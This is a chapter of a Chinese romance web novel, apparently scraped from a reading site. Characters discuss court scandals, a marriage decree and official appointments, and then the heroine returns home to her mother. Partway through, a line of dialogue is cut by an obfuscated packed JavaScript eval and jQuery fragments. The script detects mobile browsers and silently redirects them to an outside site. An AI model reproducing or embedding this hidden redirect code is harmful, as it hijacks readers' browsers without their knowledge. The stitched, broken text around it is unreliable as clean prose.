71. 愿赌服输。

作品:《嘴硬竹马他暗恋且自知

    “除此之外,你妹妹没再说别的?”


    燕明非实在是忍不住,再三追问。


    “干什么?你们有事情瞒着我?”徐世元见他这样也不难察觉到蹊跷:


    “到底怎么了?”


    见燕明非不说话,他有些着急,担心妹妹在外面受欺负。


    “没什么,就是在刘家村的时候,她与三殿下有些龃龉,不过也都过去了。”


    燕明非含糊其辞,仗着徐世元对他的信任度高,将事情就这么糊弄了过去。


    既然徐世仪没说,他自然也不会在她哥哥面前做那个拆穿他的人。


    徐世元安心了,就有空来调侃好兄弟了,他一把揽过燕明非的肩膀,笑意挂在脸上探寻道:


    “今日见你跟郡主,倒是比走之前要亲近?”


    燕明非听了一半就知道他打的什么注意,抬手把人推开:


    “少打听。”


    徐世元觉得这人真有意思:


    “我打听不是为了给你出谋划策吗,要不然你还想等到猴年马月?你能等,人家郡主还不一定稀罕你了呢。”


    燕明非闻言,心头一堵有些哀怨:“说的就好像她现在稀罕一样。”


    徐世元笑着哼哼两声,抛出甜头:


    “我觉得,也不是没可能。”


    虽然郡主没什么明显的示意,可就让燕昭白这小子近身这件事,就已经很不容易了。


    要知道从前这俩人见面不是吵就是打,整个京城谁不知道。


    可如今呢,俩人心平气和甚至习以为常的在一张桌上吃饭,这样的话面若是让那沈榭看去了,还不得气死。


    想到沈榭,徐世元有心提醒了一下燕明非:


    “最近要是遇上他,可得离他远点。”


    燕明非倒是很久未曾听见过这个名字了,对沈榭的记忆还停留在上次千秋节的马球会上。


    他想起上次马球会的事在他们走之前还没有结果,故而转头问:


    “沈榭怎么了?”


    徐世元找了个地方坐下来,抱着胳膊意味深长的开口:


    “说起来,这事儿还跟你们有点关系。”


    千秋节的马球会上,沈榭因为恶意伤害对手而被取消了资格,陛下并未当即下令惩处,后来就是一群人上谏为沈榭辩驳,这也是为什么燕明非他们离京的缘由。


    等到宗政盈珠他们离京,陛下也不忍了,将此事交给了飞云卫首领单別羽来彻查。


    飞云卫是什么手笔,皇亲国戚谁人不知。


    当夜,单別羽提审沈榭,其长兄沈澹在飞云卫的大牢外占了一夜,听说是求情未果,又威胁不得,最后将浑身是血的弟弟领了回去。


    徐世元靠着廊下的柱子有些看不上的道:


    “沈榭这么一折腾,可谓是连累了全家。”


    沈国公坐着轮椅还被陛下当庭训斥,沈澹更是直接被扒了刑部清吏司郎中的职,丢去飞云卫做了单別羽的手下。


    也是从那个时候起,沈榭非但不知悔改,竟还日日夜宿烟花柳巷,被沈澹抓了不知道多少回。


    “前些日子,沈榭喝的酩酊大醉从迎春楼出来,还得罪了一个姑娘,你猜那姑娘是谁?”


    燕明非离开这么久哪里知道,催促着徐世元少卖关子。


    徐世元一拍手告诉他:


    “就是我在云起楼遇见的那个,把圣旨塞给我的姑娘。”


    要不怎么说有些事就是天注定的呢,兜兜转转一切竟然又跟宗政家扯上关系了。


    “宗政晔因着这件事,还上了两道折子,恳请陛下给他一个说法,说这宗政小姐是太后钦点的成王妃,怎么能让他人如此轻贱。”


    燕明非抓住重点:


    “成王妃?”


    徐世元点头:


    “沈榭的事闹得太大,陛下也觉得难堪。”


    先前太后撮合着要与宗政家联姻,陛下因着自己的考量始终未允,或许是为了压压风头,又或许是因为别的,总归这一次太后再去找陛下,就得来了这赐婚的圣旨。


    “成王没意见?”燕明非下意识的皱眉。


    徐世元抿着嘴摇头,有些无奈:


    “天子赐婚,就算有意见也得咽进肚子里。”


    徐世元只是可怜那位宗政小姐,当初把圣旨塞给他不就是不想加入皇室,可人微言轻,终究还是成为了联姻的工具。


    “宗政晔因为这封圣旨,得以入了六科。”


    燕明非并不意外,因为宗政晔从一开始求的就是这个,他更想知道陛下的态度:


    “什么官职?”他问。


    徐世元答:“户科给事中。”


    燕明非眉尾轻挑,睫毛轻颤:


    “从七品?”


    徐世元笑道:“陛下的意思,清晰明了。”


    要知道宗政家世代书香,而读书人最厌恶的就是铜臭,可如今呢,将宗政晔放在户科管钱,这足以表明陛下对宗政晔的不满了。


    明面上是给了宗政晔好处,可实际上是在警告他,不要枉费心机,妄图攀附皇家。


    燕明非听着有些感慨:


    “走了一段时日,京城竟然发生了这么多事。”


    徐世元轻笑一声,站起来道:


    “你们在成长,京城里的人自然也是,只盼着接下来的路能好走写,不叫我们有朝一日抱头痛哭才是。”


    “抱头痛哭又如何?”宗政盈珠掀开帘子从屋内走了出来。


    燕明非看着她穿的单薄,将自己的披风脱下来递过去,宗政盈珠摇头:


    “不穿了,热。”


    屋子里的炭火烧的实在是旺,纪兰猗又跟簌雪抱怨着一路以来的不易,她懒得听,于是出来透口气。


    燕明非也没穿回去,而是拿在手里,等宗政盈珠冷了随时给她披上。


    说回方才的话,徐世元有些好奇宗政盈珠为什么这样说,对方解释道:


    “抱头痛哭不丢人,哭完了照样朝前走。”


    燕明非低着头,忍不住笑。


    徐世元有些意外:


    “我还以为出去一趟,郡主多少会被磨灭丁点锐气。”


    可如今看来,宗政盈珠还是那个宗政盈珠,一点都没变。


    天色渐渐暗下来,徐世元跟簌雪将其他人送到大门外,看着马车朝着皇宫的方向去,这才恍然他们竟然截了陛下的召见。


    “还真是胆大包天。”也不知道是说自己还是宗政盈珠他们,徐世元牵着簌雪的手,转头回去了。


    马车在皇宫前停下,得到消息的宫人也恰好在这时候提着灯笼赶来,等到人走进了宗政盈珠才发现,竟是德妃亲自来了。


    几人跟着下了马车,同德妃行礼。


    “瘦了。”德妃先是打量了纪兰猗一圈又看了看其余几个人,心疼的道出一句。


    “没事,母妃给我多做点好吃的我带给他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401400|181542||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    们,没几天就都胖回来了。”


    纪兰猗抱着德妃的胳臂,搅和了有些沉静的气氛。


    气的德妃哭笑不得。


    “好了好了,不早了,都回去吧,陛下说了,叫你们好好歇几天,再来宫里觐见。”


    “是。”几人行礼了,看着德妃跟纪兰猗走远才转身。


    “你回哪儿?”燕明非看向赫连霄,还没等他说话,霍既白一把拉住他的胳膊道:


    “这马车太慢了,我们俩自己走啊,你们不用管了!”


    说着,就将赫连霄拉走了,离开的时候,霍既白还不忘给两人个眼神,意思是,不用谢。


    宗政盈珠无奈的笑出声来:


    “霍既白怎么上了战场回来反而变幼稚了。”


    燕明非想了想,给出了一个很有道理的答案:


    “或许是见多了生死,所以觉得没什么比开心更重要吧。”


    宗政盈珠赞同的点了点头,而后看向他:


    “走吧,先送你回去。”


    燕明非点头,两人上了马车。


    一路上,闲来无事,他干脆将徐世元告知的事都同宗政盈珠复述了一遍。


    宗政盈珠对沈榭的事没什么看法,至于宗政晔,她只是替父亲不值。


    父亲在世时为宗政家殚精竭虑,宗政晔却丝毫不顾及宗政家的名声,只为一己之私,随心所欲。


    “郡主,到了。”


    与燕明非分别,宗政盈珠独自靠在马车壁上沉思良久,知道小厮提醒,她才发觉,马车已经停了下来。


    提前她一步回府的母亲穿着厚重的大氅,站在永宜长公主府的匾额下,静静地望着她。


    亦如小时候,母亲同阿爹等她下学一样。


    “这雪又下起来了,郡主快些暖暖。”


    存娘举着伞站在母亲身旁张罗着千钧千灼给她撑伞往她怀里塞手炉。


    一群人拥着她进了正厅,这才缓下一口气来。


    “这几日你就在府里好好歇着,等年节过去,国子监也该开课了。”


    长公主扫去她发间的雪花,轻声叮嘱。


    宗政盈珠什么都没说,难得乖巧的嗯了一声。


    长公主看着她这样,拉过她被暖炉烘热的手,询问她:


    “怪阿娘吗?”


    宗政盈珠不知道母亲这话是从何而来,于是抬眼,摇了摇头。


    怕阿娘多心,她又解释:


    “我知道阿娘是为我好,而且我也想明白了,是该回京了。”


    长公主看见女儿这样懂事,心中反倒是伤怀起来,但宗政盈珠反握住母亲的手,轻轻的,用言语扫去了母亲的担忧:


    “我在徐世元那听了一些京城的事,阿娘,盈珠总要长大,阿娘不必担心,我会保护好自己。”


    也保护好你。


    宗政盈珠在心中默默道。


    “宗政凝玉的事,你知道了?”长公主本想着过些日子的告诉盈珠的,但没想到她的消息这样灵通。


    宗政盈珠点头:


    “虽说我不喜欢这样用人来做交易,但事已至此,只能希望,宗政凝玉与成王还算合适。”


    长公主算是看着纪容湛长大的,也见过小时候宗政凝玉几次,只能说,这两人在一起,受伤的只会是她。


    但她没告诉盈珠,只是提起另一件事道:


    “过两日,阿娘给你补办一个生辰宴,好不好?”